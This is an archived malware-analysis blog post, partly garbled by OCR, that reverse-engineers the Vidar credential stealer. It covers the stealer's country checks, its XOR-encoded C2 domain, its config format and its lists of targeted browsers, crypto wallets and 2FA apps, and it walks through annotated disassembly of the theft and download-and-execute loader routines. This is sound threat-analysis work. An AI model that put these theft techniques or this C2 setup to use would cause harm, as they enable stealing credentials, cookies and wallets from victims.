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Let’s dig into Vidar — An Arkei Copycat/Forked Stealer (In-depth
analysis)
Published: 2018-12-24 - Archived: 2026-04-05 20:23:47 UTC

Sometimes when you are reading tons and tons of log of malware analysis, you are not expecting that some little changes

could be in fact impactful.

I paid the price when I was analyzing a supposed Arkei malware. my Yara rule at that time was supposed to trigger this
malware, but after some reversing, I realized that I was confronted with something different. Some strings linked to Arkei
signature was deleted and a new one appeared with the string “Vidar”, there are also some other tweaks in the in-depth

analysis that proves there are some differences (but small), but all the rest was totally identical to Arkei.

The malware is written in C++, seems to have started activities at the beginning of October 2018 and have all the kind of

classic features of stealers:

Searching for specific documents

Stealing ID from cookie browsers

 Stealing browser histories (also from tor browser)

Stealing wallets

Stealing data from 2FA software

o Grabbing message from messenger software
 Screenshot

o Loader settings

o Telegram notifications (on server-side)

* Get a complete snapshot of all information of the computer victim

Sold with a range of 250-700$, this stealer on shop/forums and when people buy it, they have access to a C2 Shop portal
where they are able to generate their own payloads. So there is no management on their side. Also, domains who leads to the

C2/Shop are changed every 4 days.

For this in-depth analysis, I will inspect the 4.1 version of Vidar, take an overview of the admin panel, catching the

differences with Arkei.

Basic Countries by-passing

So first of all, we have some classic pattern to quit the program if the victim machines are configured in some language with
the help of GetUserDefaultlL.ocaleName. This is one of the easy tricks to check if the malware is not infected users from

specific countries.

push esi

lea eax, [ebp+LocaleName]

push eax

lea ecx, [ebp+var_ 751

call func_GetUserDefaultLocaleName

As explained in the MSDN, A “locale” is a collection of language-related user preference information represented as a list of

values, the stealer will check if the language is corresponding with the list of countries that mentioned below.
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push offset aRuRu : "ru=-RU"
lea ecx, [ebp+var_20]

call func_CompareStrings

cmp eax, OFFFFFFFFh

jnz loc_4079CC

esi

offset aBeBy ; "be-BY"
ecx, [ebp+var_20]
func_CompareStrings

eax, OFFFFFFFFh
loc_4679cCC

L* |
esi

offset alzUz ; "uz-UZ"
ecx, [ebp+var_20]
func_CompareStrings

eax, OFFFFFFFFh
loc_4@79CC

I.*I—

push esi
push offset aKkKz i "kk-KZ"
lea ecx, [ebp+var_208]
call func_CompareStrings
cmp eax, OFFFFFFFFh
jnz loc_4079CC
| I
push esi
push offset aAzAz ; "az-AZ"
lea ecx, [ebp+var_20]
call func_CompareStrings
cmp eax, OFFFFFFFFh
jnz short loc_4079CC

With a few seconds of searching on google, it’s easy to understand which countries are behind the locale names :

Locale

ru-RU

be-BY

uz-UzZ

kk-KZ

az-AZ

Country
Russia
Belarus
Uzbekistan
Kazhakstan

Azerbaijan

LCID Structure — https://msdn.microsoft.com/en-us/library/cc233968.aspx

Language Code Table — http://www.lingoes.net/en/translator/langcode.htm

LocaleName — https://docs.microsoft.com/fr-fr/'windows/desktop/Intl/locale-names

Locale — https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locales-and-languages

Mutex generation

The mutant string generated by Vidar is unique for each victim, but simple to understand how it is generated. This is just a

concatenation of two strings :

e Hardware

Profile ID

GetCurrentHwProfileA is used to retrieve the current hardware profile of the computer with the value of szHwProfileGuid.

If it fails, it will return “Unknown” here.
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Lea €dx, LEDPTAWFIOTLILELNTO)
xor ebx, ebx
push eax ; lpHwProfileInfo
mov [ebp+var_84], ebx
call ds:GetCurrentHwProfileA
mov dword ptr [esi+14h], @Fh
mov [esi+10h], ebx
mov ecx, esi
mov [esil, bl
test eax, eax
jz short loc_44FBAS
= ' = '
P
lea eax, [ebp+HwProfileInfo.szHwProfileGuid]
push eax loc_44FBAS:
jmp short loc_44FBAD push offset aUnknown ; "Unknown"
1l |
[ =1 * * 1
e The Machine GUID
With the help of RegOpenKeyExA, the value of the registry key is fetched:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
This is the UUID created by Windows during the installation of the operating system.
add esp, OCh
lea eax, [ebp+l8Ch+phkResult]
push eax ; phkResult
push 20119h ; samDesired
push ebx ; ulOptions
push offset aSoftwareMicros_l ; "SOFTWARE‘\\Microsoft\\Cryptography"
push 80000002h ; hKey
call ds:RegOpenKeyExA
test eax, eax
jnz short loc_44FC47
_ h J
il il 5=
lea eax, [ebp+l8Ch+cbDatal
push eax ; lpcbhData
lea eax, [ebp+18Ch+Datal
push eax ; lpData
push ebx : LpType
push ebx ; LpReserved
push offset aMachineguid ; "MachineGuid"
push [ebp+18Ch+phkResult] ; hKey
call ds:RegQueryValueExA
When it’s done, the mutex is created, just like this :
Key HKLM\SYSTEMControlSetd01\ControliNis\Sorting \ersions 0x%24
Key HKLM\SYSTEM\ControlSeto0 1\Control \SESSION MANAGER Oxc2e
Key HKLM Osc3c
Mutant \Sessions\1\BaseNamedObjects's 54 53} 0xSc
WindowStation \Sessions\1\Windows\WindowStations\Win5ta0 Oxdc
WindowStation \Sessions\1\Windows\WindowStations\Win5ta0 0x54

String setup

When Vidar is entering in the main function, it needs to store some required strings to be able to work properly for some

further steps.
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All the RVA address of each string are stored in the .data section. The malware will go there to access to the requested

string.

This is a trick to slow down the static analysis of the malware, but this is really easy to surpass

C2 Domain & Profile ID

When the malware is generated by the builder on the customer area. A unique ID is hardcoded into it. When Vidar will
request this value on the malicious domain, it will retrieve the corresponding profile that the threat actor wants to grab/steal

into the victim machine.

So on this case, this the profile ID is “178”. If there is no config on the malware, the profile ID “1” is hardcoded into it.

P2l

; Attributes: bp-based frame
func_GetOnlineConfigPath proc near

var_d4= dword ptr -4
arg_0= dword ptr &

push ebp |

mov ebp, esp

push ecx

push esi

mov esi, [ebp+arg_o]

xor eax, eax

mov dword ptr [esi+14h], OFh
mov [esi+10h], eax

push offset al7s ; "178"
mov ecx, esi

mov [ebp+var_4], eax

mov [esi], al

call func_cCheckStrings

mov eax, esi

pop esi

leave

retn 4

func_GetOnlineConfigPath endp

The C2 domain is a simple XORed string, the key is directly put into the XOR function to decrypt the data.
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i e

; Attributes: bp-based frame
func_GetC2 proc near

var_d= dword ptr -4
arg_0= dword ptr 8

push ebp

mov ebp, esp

push ecx

and [ebp+var_a], @

push ©Eh ; int

push offset String ; "311AFVDOZ6ZYOT"
push offset Key ; "1TF 13%&;Et: 9"
call func_UnXor

mov ecx, [ebp+arg 0]

push eax

call func_cCheckStrings_02

mov eax, [ebp+arg_e]

leave

retn 4

func_GetC2 endp

And decrypted it’s in fact “newagenias.com”

Configs are possible to be extracted easily with the script izanami.py on my GitHub repository.

How to understand the config format
For example, this is default configuration the malware could get from the C2 :
1,1,1,1,1,1,1,1,1,1,250,Default; % DESKTOP%\; *.txt: *.dat: *wallet*.*: *2fa*.*: *backup*.*: *code*.*: *password*.*: *auth*.*: *google*. *: *utc*.*: *UTC*.

Each part have the “;” in delimiter, so let’s dig into it

¢ First part
1 Saved password
1 Cookies / AutoFill
1 Wallet
1 Internet History
1 ??? — Supposed to be Skype (not implemented)
1 ??? — Supposed to be Steam (not implemented)
1 Telegram
1 Screenshot
1 Grabber
1 ?7??
250 Max Size (kb)
Default Name of the profile (also used for archive file into the files repository)

¢ Second part

Selected folder repository where the grabber feature will
%DESKTOP % .
search recursively (or not) some selected data
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e Third part

*txt: *.dat: *wallet*. *: *2fa*.*: *backup*.*: *code*. *: *password*.*: *auth*.*: *google*.*: *utc*.*: *UTC*.*: *crypt*.*: *key*.*

e Fourth part
50 Max Size per file (kb)
true Collect Recursively
e Fifth part:
movies:music:mp3;

This is the exception part, the grabber will avoid those strings if it matches in the files searched recursively in the specific

wanted folder.

The setup is quite a mess if we are looking into the code. each option is stored into a byte or dword variable.

iz toc sosE1s

iz short Toc_sos0om]
T——
lix  short toc_so30e
——
= short toc_s030|

Fi=l =

b eax, 5
toc_saz076 Loc_sas0sa; toc_so30a7: linzshort toc_so3oral [Loc_so300s: toc_soz0es
push 2 push 2 push 2 push 2 push 2

[pov  odi, abx odi, b [pov  odi, abx Jrov  odi, abx [pov  edi, abx

por

repe
4 hort toc_so30rs)

T
L| [@==
[rov yee_somnan, 1

frat duord_as9nrc|
eckstrings
o

Folder generation

To summarize all kind of possibles files/folders that will be generated for the malicious repository is in fact pretty simple :

\\files <- Master folder

\\files\\Autofill <- Auto-Fill files

\\files\\CC <- Credit Cards

\\files\\Cookies <- Cookies

\\files\\Downloads <- Downloaded data history from browsers
\\files\\Files <- Profile configs (Archives)
\\files\\History <- Browser histories

\\files\\Soft <- Master folder for targeted softwares
\\files\\Soft\\Authy <- 2FA software

\\files\\Telegram <- Telegram messages

\\files\\Wallets <- Cryptomining Wallets

Generalist files

\\files\screenshot. jpg <- Actual screenshot of the screen
\\files\passwords.txt <- Passwords consolidated all at once
\\files\\information.txt <- Snapshot of the computer setup

Libraries necessary to grab some data

Something that I love when I read some malware specs, it’s when they said that the product could be launched without the
necessity to have some runtime libraries or other required software on the machine. But when you dig into the code or just

watching some network flow, you can see that the malware is downloading some DLL to be able to do some tasks.
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And for this case, they are required during the stealing process of different kind of browsers.

freebl3.dll Freebl Library for the NSS (Mozilla Browser)
mozglue.dll Mozilla Browser Library
msvcp140.dll Visual C++ Runtime 2015

Network System Services Library (Mozilla
nss3.dll

Browser)
softokn3.dll Mozilla Browser Library
vcruntime140.d11 Visual C++ Runtime 2015

They are deleted when the task is done.

i e

loc_413B4D:

mov esi, ds:DeleteFileA

push offset FileName ; "C:\\ProgramData\\freebl3.dll"

call esi ; DeleteFileA

push offset aCPregramdataMe ; "C:\\ProgramData\‘mozglue.dLl"
call esi ; DeleteFileA

push offset aCProgramdataMs ; "C:\\ProgramData‘\‘\msvcpldo.dll”
call esi ; DeleteFileA

push offset aCPregramdataNs ; "C:‘\ProgramData\\nss3.dLll"
call esi ; DeleteFileA

push offset aCProgramdataSeo ; "C:\\ProgramData\\softokn3.dll"
call esi ; DeleteFileA

push offset aCProgramdataVc ; "C:\\ProgramData\\vcruntimelde.dll"
call esi ; DeleteFileA

mov eax, dword_48BB48
mov [edi+28h], eax
mov eax, dword_48BB4C
mowv [edi+2Ch], eax
|
FTP

List of supported software

« FileZilla
e WinSCP

2FA software

Something that I found interesting on this malware is that also 2FA software is also targeted, a feature that I considered not
seen really in the wild, and pretty sure this will be more and more common in the future. With the multiplication of those
kinds of protection. Victims must understand that 2FA is not the ultimate way to protect accounts from hackers, this could be

also another door for vulnerabilities <
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So with Vidar, the Authy software is targeted...

< o O

QAAUTHY APP FEATURES v 2 SEs 5106 DownLoAD

for 2FA guides

T

More specifically the SQLite file on the corresponding application on %APPDATA % repository. It looks like this is the

same operating where stealer wants to steal data with software like Discord or Chrome.

push 28h

mov eax, offset loc_472BBO

call __EH_prolog3

push offset aAppdata ; "AFPPDATA"
mov esi, ecx

call func_RuntimeCriticalSectionOperation
pop ecx

xor ebx, ebx

push eax ; int

lea ecx, [ebp+178h+var_3c]

mov [ebp+170h+var_28], ©Fh

mov [ebp+170h+var_2C], ebx

mov [ebp+170h+var_3c], bl

call func_checkStrings

sub esp, 1ch

mov eax, esp

mov [ebp+170h+var_1308], esp

push offset aAuthyDesktoplLo ; ‘“Authy Desktop‘\Local Steorage\*.localstorage
lea ecx, [ebp+170h+var_3c]

push ecx

push eax

mov [ebp+170h+var_174], ebx
call func_ConcatStrings_©3
add esp, OCh

lea eax, [ebp+170h+var_1A4]
push eax ; int
lea ecx, [ebp+170h+var_17D]
call func_SearchFiles

mov eax, [ebp+170h+var_1A8]

So guys, be careful with your 2FA software

Some feedback from our millions of users

David Ker L SwiftOnSecurity 14 L4
@snappy316 = S
First tweet from my new iPhone X! After finally I've moved to @Authy for syncing my 2FA tokens
getting it activated, moved 20ish accounts from between devices, using a backup file encryption
Google Auth to @Authy - best decision today! password. Q12 852 PM - Jul 26, 2016 - Gold Coast, Queenslar@
© 13 12:00 AM - Nov 4, 2017 e Q153 12:24 AM - Aug 3, 2016 L]
& See Troy Hunt's other Tweets >

& see David Ker's other Tweets > © 65 people are talking about this >

Browsers

Something interesting to mention, this bad boy is also stealing Tor Browser stuff.
List of supported Browsers

¢ 360 Browser
¢ Amigo
e BlackHawk

¢ Cent Browser
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¢ Chedot Browser
e Chromium

¢ CocCoc

» Comodo Dragon
e Cyberfox

» Elements Browser
¢ Epic Privacy

¢ Google Chrome
e IceCat
 Internet Explorer
¢ K-Meleon

¢ Kometa

e Maxthon5

e Microsoft Edge
e Mozilla Firefox
¢ Mustang Browser
e Nichrome

¢ Opera

e Orbitum

» Pale Moon

« QIP Surf

¢ QQ Browser

e Sputnik

o Suhba Browser
¢ Tor Browser

e Torch

« URAN

e Vivaldi

o Waterfox

Of course, this list could be more important than this if there are some browsers based on chromium repository.

Messengers/Mailer

for the Telegram part).

¢ Bat!

e Pidgin

e Telegram

o Thunderbird

Wallets

¢ Anoncoin

« BBQCoin

¢ Bitcoin

¢ DashCore

¢ DevCoin

» DigitalCoin
o Electron Cash
e ElectrumLTC
o Ethereum

e Exodus

¢ FlorinCoin
¢ FrancoCoin
¢ JAXX

¢ Litecoin

e MultiDoge
¢ TerraCoin

¢ YACoin

e Zcash

Of course, this list could change if the customer added some additional files to search on specific areas on the victim

machine.
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Grabber

The grabber feature is by far, the most complicated feature of the malware and what he looks to be really different from

Arkei, in term of implementation.

So first of all, it will skip or not the grabber feature by checking in config file downloaded, if this is activated. Preparing the
strings for creating the folder path and when all is set func_grabber could be used.

— g mmp e v
call func_Freevalue
cmp config grabbing, bl
jz short loc_407358
1
A i
push offset aFilesFiles ; "\\files\\Files"
lea eax, [ebp+var_4c]
push esi
push eax
call func_ConcatStrings_03
add esp, OCh
cmp dword ptr [eax+14h], 1@h
ib short loc_407311

FIEE]

loc_487311: ; lpSecurityAttributes
push ebx

push eax ; LpPathName

call edi ; CreateDirectoryA

push ebx

push 1

lea ecx, [ebp+var_4c)

call func_FreeValue

push offset aFilesFiles ; "\\files\\Files"
lea eax, [ebp+var_84]

push esi

push eax

call func_ConcatStrings_83

add esp, 8Ch

cmp dword ptr [eax+14h], 1oh

ib short loc_40733D

7
FIE] FI™E]
loc_40733D: ; LpPathName| |loc_40735B:
push eax xor edi, edi
call ds:SetCurrentDirectoryA inc edi
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp+var_84]
call func_FreeValue
call func_Grabber
jmp short loc_40735E
|
L 2 ]
[ ] 1

When inspecting the func_grabber, 1 was not prepared to have this :
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3 —

By far, when I saw this, I was not really happy to reverse this. I mean, I know I was falling in some unexpected allocated

memory into my brain. I had all the magnificent stuff that all malware reverser love (or not at all) :

Weird conditions come out the blue.

Calling function that will call other functions like Russian wooden dolls
API calls

etc...

But if we are watching these at a macro view, it’s, in fact, easier than it looks like. I will just show just one example.

So in the example below, if the string % APPDATA% is present in the config downloaded from the C2. it will enter into the

function and will start a bunch of verifications. Until entering into the most important one called func_VidarSearchFile
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Y
(il s [5=]
loc_405597:
push ebx
push offset aAppdata_8 ; "“APPDATAY"
lea ecx, [ebp+2lFCh+var_2154]
call func_CompareStrings
cmp eax, OFFFFFFFFh
jz loc_405635

I‘ L

sub esp, 1ch

mov ecx, esp

mov [ebp+21FCh+var_221C], esp

mov [eex+14h], edi

mov [ecx+16h], ebx

push offset aAppdata_® ; "SAPPDATA%"
mov [ecx], bl

call func_cCheckStrings

push dword_48B95C ; APPDATA

mov byte ptr [ebp+21lFCh+var_2200], 0Ah
call func_RuntimeCriticalSectionOperation
sub esp, 18h

mov ecx, esp

mov [ebp+21FCh+var_2218], esp

push eax

call func_CheckStrings_02

sub esp, 1ch

lea eax, [ebp+21FCh+var_2154]

mov ecx, esp

mov [ebp+21FCh+var_2214], esp

push eax

mov byte ptr [ebp+21FCh+var_2200], ©Bh
call func_RuntimeCheckingStrings_e2

lea eax, [ebp+2lFCh+var_2170]

push eax

mov byte ptr [ebp+21FCh+var_2200], 2
call func_vidarsearchFile

add esp, 58h

push eax

lea ecx, [ebp+2lFCh+var_2154]

mov byte ptr [ebp+21FCh+var_2200], och
call func_CopyValueToRegisters

push ebx

push 1

lea ecx, [ebp+21FCh+var_2170]

mov byte ptr [ebp+2lFCh+var_2200], 2
call func_FreeValue

(o

After the process will remain almost the same for each scenario.

This is at least, all the repositories available in the grabber feature :

* %ALL_DRIVES% (GetDriveTypeA Necessary)
%APPDATA%

* %C%

e %D%

%DESKTOP%

%DOCUMENTS%

%DRIVE_FIXED%
%DRIVE_REMOVABLE%
%LOCALAPPDATA%

%USERPROFILE%

Screenshot

The generation of the screenshot is easy to understand :

First GdiplusStartup function is called to initialize the Windows GDI+

 Then an alternative to GetDeviceCaps is called for getting the height of the screen on the display monitor with the
value SM_CYSCREEN (1) with GetSystemMetrics this will be the same thing with SM_CXSCREEN (0) for the
width.
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push eax

mov [ebp+var_181, 1

mov [ebp+var_14], edi

mov [ebp+var_18], edi

mov [ebp+var_C], edi

call GdiplusStartup

mov esi, ds:GetSystemMetrics
push edi ; nIndex
call esi ; GetSystemMetrics
push 1 ; nIndex
mov [ebp+var_4], eax

call esi ; GetSystemMetrics
push offset aScreenshotlpg 8 ; "screenshot.jpg”
push eax ;ocy
push [ebp+var_a] ; int
push edi ; oyl
push edi ; x1
call func_CreateDCObject

add esp, 1l4h

push [ebp+var_8]

call GdiplusShutdown

* Now, it needs a DC object for creating a compatible bitmap necessary to generate our image by selecting the
windows DC into the compatible memory DC and using a Bit Block API function to transfer the data. When all is

done, it will enter into func_GdipSaveImageToFile

push edi ; hdc
call ds:CreateCompatibleDC
push [ebp+cy] ;ocy
mov esi, ds:GetDC

push [ebp+arg_8] ;ocx
mov [ebp+hdc], eax

push edi ; hwnd
call esi ; GetDC

push eax ; hdc
call ds:CreateCompatibleBitmap
mov ebx, eax

push ebx s h
push [ebp+hdc] ; hdc
call ds:SelectObject

push 0ccon2oh ; rop
push [ebp+y1] iyl
push [ebp+x1] ; x1
push edi ; hwnd
call esi ; GetDC

push eax ; hdcSre
push [ebp+cy] i cy
push [ebp+arg_8] ;ocx
push edi '
push edi ;X
push [ebp+hdc] ; hdc
call ds:BitBlt

push [ebp+cy]

push [ebp+arg_&]

push ebx

call func_GdipSaveImageToFile
add esp, 0Ch

push ebx ; ho

call ds:DeleteObject

So now its needed to collect the bits from the generated bitmap and copies them into a buffer that will generate the screen

capture file.

push eax

push offset aImagelpeg 0 ; "image/jpeg"
call sub_458A9C

add esp, 1oh

push [}
lea eax, [ebp+var_14]
push eax

push offset aScreenshotlpg ; “screenshot.jpg”
push dword ptr [esi+4]
call GdipSaveImageToFile

Information Log

So let’s dig into information.txt, to understand how this file is generated. I will mention only some parts of the creation,
another part will be just the corresponded API call, breakpoint on these API if you want to take your time to analyze all the

step easily.
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First, it indicates which version of Vidar is used.

eax, [ebp+var_68]
eax
ecx, [ebp+var_331]

short loc_40658B

eax, [eax]

func_GetCurrentVersion -
dword ptr [eax+14h], :I.Oh_\_____“‘.

eax

esp,

offset avidarVersions ;
[ebp+var_330]
func_GetValueForInformationLog
ach

"vidar Version:

EEAVAY

mov
mov
push
mov
mov
mov
call
mov
pop
leave
retn

dword ptr [esi+14hl, ©Fh

[esi+16h], eax

offset a4l : "4.1"

ecx, esi

[ebp+var_41, eax

[esi], al

func_checkstrings

eax, esi

esi

4
func_GetCurrentVersion endp

If you don’t see a Vidar on the log file. It means that you have an early version of it.

Date

MachineID

GUID

Path

Work Dir

GetSystemTimeAsFileTime

Explained Above

GetCurrentHwProfileA

GetModuleFileNameExXA

Hardcoded string + func_FolderNameGeneration

Get the name of the operating system and platform is classic because this is, in fact, a concatenation of two things. First,

with RegOpenKeyExA, the value of this registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName

Secondly, for knowing if Windows is 32 or 64-bit, it checks itself if is running on WOW64 with the help of

IsWow64Process.

wuw

LEUPTIUWUST | ULE33 ], TWA

hProcess

call ds:GetCurrentProcess
push eax H
call ds:IsWowb4Process
test eax, eax

jz short loc_44FB43

FEE]

: "x86"

cmp [ebp+Wow64Process], ebx
jz short loc_44FB43
il za
push offset aX64 i "x64"
jmp short loc_44FB48 loc_44FB43:
| push offset aXsé
]
: v ¥
il e k
Computer Name GetComputerNameA
User Name GetUserNameA

For the current screen resolution used, CreateDCA is called to create a device context for “Display” and requesting the

Width and Height of the Device with GetDeviceCaps.

Page 14 of 36


https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemtimeasfiletime
https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcurrenthwprofilea
https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-getmodulefilenameexa
https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa
https://docs.microsoft.com/fr-fr/windows/desktop/WinProg64/running-32-bit-applications
https://docs.microsoft.com/en-us/windows/desktop/api/wow64apiset/nf-wow64apiset-iswow64process
https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcomputernamea
https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getusernamea
https://docs.microsoft.com/en-us/windows/desktop/api/wingdi/nf-wingdi-createdca
https://docs.microsoft.com/en-us/windows/desktop/api/wingdi/nf-wingdi-getdevicecaps

https://fumikO.com/2018/12 /24 /lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/

xor esi, esi

push esi ; pdm

push esi ; pszPort
push esi ; pwszDevice
push offset pwszDriver ; "DISPLAY"
mov [ebp+var_8C], esi

call ds:CreateDCA

mov edi, ds:GetDeviceCaps

push 8 ; index

push eax ; hdc

mov [ebp+hdc], eax

call edi ; GetDeviceCaps

push 0Ah ; index

push [ebp+hdc] ; hde

mov [ebp+var_8C], eax

call edi ; GetDeviceCaps

push [ebp+hdc] ; hbc

mov edi, eax

push esi ; hwnd

call ds:ReleaseDC

This remains to this source code :

HDC hDC = CreateDCA("DISPLAY", NULL, NULL, NULL);
int width = GetDeviceCaps(hDC, HORZRES); // HORZRES = 0x8
int height = GetDeviceCaps(hDC, VERTRES); // VERTRES = 0x0A

Let’s continue our in-depth analysis...

Display Language GetUserDefaultl.ocaleName

Keyboard Languages GetKeyboardLayoutList / GetLocaleInfoA

Local Time GetSystemTimeAsFileTime

TimeZone TzSpecificLocalTimeToSystemTime
Hardware

??? the process name, the value of the registry key is fetched:

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString

CPU Count GetSystemInfo.dwNumberOfProcessors
RAM GlobalMemoryStatusEx
VideoCard EnumDisplayDevicesW

Network

The network part is quite easy, it’s a translation of data retrieves on ip-api.com/line/ and put into the log, at the

corresponding place.
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.rdata:004762CD
.rdata:004762D0
.rdata:004762D0
.rdata:004762D4
.rdata:004762DA
.rdata:004762DC
.rdata:004762DC
.rdata:004762DE
.rdata:004762E0
.rdata:004762EE
.rdata:004762F0
.rdata:004762F6
.rdata:004762F8
.rdata:004762FF
.rdata: 00476300
.rdata:00476300
.rdata:00476303
.rdata:00476304
.rdata:00476304
.rdata:00476307
.rdata:00476308
.rdata: 00476312
.rdata:00476314
.rdata:0047631C

Processes

There is quite soft stuff done to get a snapshot of all the processes at the time where the stealer is executed.

asc_4762D0
alsp

asc_4762DC

aCoordinates
aZip
aCity

asc_476300
asc_476304
aCountry

alps
aNetwork

align 10h
db ')',0Ah
db 8Ah,@
db 'ISP:
align 4
db ',",0

*0

align 10h

db 'Coordinates:
align 10h
db 'ZIP:
align 4
db ‘City: ',®
align 10h

db *)',0Ah,0

*0

align 4
db ' (',0

align 4

db 'Country: ',0
align 4

db 'IP: %s',0Ah,0
db ' [Network]',0Ah,0

I —

But in the end, this is not complicated at all to understand the different steps.

» Request CreateToolhelp32Snapshot, to get the complete snapshot of all the processes executed, and read one per one

in a loop all with Process32First
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pusn z
mov

; awrLags

byte ptr [ebptvar_4], 5

https://fumikO.com/2018/12 /24 /lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/

call CreateToolhelp32Snapshot
lea ecx, [ebp+pe]
push ecx ; lppe
push eax ; hSnapshot
mov [ebp+hSnapshot], eax
call Process32First
test eax, eax
jz loc_4588AD
s
mowv esi, [ebp+var_1Fo]
FEE
loc_4505C1: loc_4508CC:
lea eax, [ebp+pe] mov [ebp+var_4], 3
push eax ; lppe mov eax, offset loc_4508D9
push [ebp+hSnapshot] ; hSnapshot retn
call Process32Next
test eax, eax
jz loc_4508AD
FEE] il ) 5 il ) 5
cmp esi, [ebp+pe.th32ParentProcessID]
jnz loc_4507A6 Lloc_d4508AD: ; hobject| |loc_4508D9:
push [ebp+hSnapshot] xor edi, edi
call ds:CloseHandle xor ebx, ebx

After, checking if it’s a parent process or a child process, Vidar will grab two value of the PROCESSENTRY32 object :

 th32ProcessID: PID
o szExeFile: The name of the PE

i e =

loc_4507B4:
push [ebp+pe. th32ProcessID]
lea eax, [ebp+var 68]
push eax
lea ecx, [ebpt+var 1E5]
call sub_452A19
push eax
lea eax, [ebp+var_ao]
push offset asc_4763E8 ; " [
push eax
mov byte ptr [ebp+var_4]1, @Dh
call func_GetValue_01
add esp, OCh
push offset asc_47F024 ; "]"
push eax
lea eax, [ebp+var BC]
push eax
mov byte ptr [ebp+var_4], OEh
call func_GetValue_02
add esp, 0ch
mov esi, eax
lea eax, [ebp+pe.szExeFile]
mov byte ptr [ebp+var_4]1, @Fh
mov [ebp+var_1cC], ©Fh
mov [ebp+var_20]1, ebx
mov [ebp+var_30]1, bl
lea edx, [eax+1]
I
Software

For the list of all installed software, the value of this registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

And these values are retrieves of each software.

o DisplayName

» DisplayVersion
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ol o [
lea eax, [ebp+8C2oh+Name]
push eax
mov eax, offset aSoftwareMicros ; "SOFTWARE\‘\Microsoft\\Windows\\Currentie”. ..
push eax
lea eax, [ebp+0CZ0h+SubKey]
push offset as5_3 HI AL
push eax ; LPSTR
call ds:wsprintfaA
add esp, 10h
lea eax, [ebp+8C20h+hKey]
push eax ; phkResult
push 28019%h ; samDesired
push ebx ; uloptions
lea eax, [ebp+8C20h+SubKey]
push eax ; lpSubkey
push edi ; hKey
call esi ; RegOpenKeyExA
test eax, eax
jz short loc_44F8B2
v
FE
[ebp+oc2oh+hKey] ; hKey
loc_44F8B2: mow esi, ds:RegCloseKey
lea eax, [ebp+8C20h+cchName] call esi ; RegCloseKey
push eax ; lpcbData push [ebp+0C20h+phkResult] :
lea eax, [ebp+0C20h+Data] call esi ; RegCloseKey
push eax ; lpData imp loc_44F381
lea eax, [ebp+oczoh+Type]
push eax : LpType
push ebx ; lpReserved
push offset aDisplayname ; “DisplayName"
push [ebp+oc20h+hKey]l ; hKey
mow [ebp+8C20h+cchName], 400h
call ds :RegQueryValueExA
test eax, eax
jnz short loc_44F94F
v : {
I )
PP :
lea eax, [ebp+8C20h+Datal mov ecx, [ebp+oczoh+var_c3a]
push eax xor esi, esi
lea eax, [ebp+oC20h+var_CEB] inc esi ecx, [eb
push eax push esi push 1
call sub_40AC3D Lea eax, [ebp+dC20h+var_CFE]| (Lea eax, [eb
pop ecx push sax push sax
pop ecx call sub_40B944 sub_40B9
lea eax, [ebp+8C28h+cchName] mov [ebp+8C28h+var_C3C], esi [ebp+ac2i
push eax ; lpcbData jmp loc_44F996
lea eax, [ebp+@C20h+Data)
push eax ; lpbata
lea eax, [ebp+8C20h+Typel
push eax : lpType
push ebx ; lpReserved
push offset abisplayversion ; "DisplayVersion”
push [ebp+ac2oh+hKey] ; hKey
mov [ebp+8C20h+cchName], 400h
call ds:RegQueryValueExA
test eax, eax
jnz short loc_44F94F

Results

So for example, if you want to see the results, let’s see into one sandbox analysis, the generated information.txt (this is a

Vidar 4.2 here)

Vidar Version: 4.2

Date: Thu Dec 13 14:39:05 2018
MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f
GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963}

Path: C:\Users\admin\AppData\Local\Temp\toto.exe
Work Dir: C:\ProgramData\LDGQ3MM434V3HGAR2ZUK

Windows: Windows 7 Professional [x86]
Computer Name: USER-PC

User Name: admin

Display Resolution: 1280x720

Display Language: en-US

Keyboard Languages: English (United States)
Local Time: 13/12/2018 14:39:5

TimeZone: UTC-0

[Hardware]

Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4

RAM: 3583 MB

VideoCard: Standard VGA Graphics Adapter
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[Network]

IP: 185.230.125.140

Country: Switzerland (CH)
City: Zurich (Zurich)

ZIP: 8010

Coordinates: 47.3769,8.54169
ISP: M247 Ltd (M247 Ltd)

[Processes]

- System [4]

—————————— smss.exe [264]
- csrss.exe [344]

<>

[Software]

Adobe Flash Player 26 ActiveX [26.0.0.131]
Adobe Flash Player 26 NPAPI [26.0.0.131]
Adobe Flash Player 26 PPAPI [26.0.0.131]
<l >

Loader

The task is rudimentary but enough to do the job :

» Generating a random name for the downloaded payload
* Download the payload

¢ Execute

v
il i =
mov esi, offset aCProgramdata ; "C:\\ProgramData\\"

i

FIEE]
loc_404225:
push OAh
lea eax, [ebp+var_80]
push eax
lea ecx, [ebp+var 1E5]
call func_NameGenerator
push offset aExe ; ".exe"
push eax
lea eax, [ebp+var 48]
push eax
mov byte ptr [ebptvar_4], 2
call func_GetGeneratedRepositoryName
add esp, 0ch
push ebx
push 1
lea ecx, [ebp+var_se]
mov byte ptr [ebp+var_4]1, 4
call func_FreeValue
push [ebp+var_1Fo]
lea ecx, [ebp+var 1E4]
call func_SendGETRequestC2
test eax, eax
jz loc_404363
Y
T —Z e 1

When the binary file is downloaded from the C2, it’s using CreateFileA with specific parameters :

« edi : The downloaded data from the C2

e 80h : “The file does not have other attributes set. This attribute is valid only if used alone.”
e 2 : This option will force the overwriting if the filename already exists.

e edi:???

e 1: “Enables subsequent open operations on a file or device to request read access.”

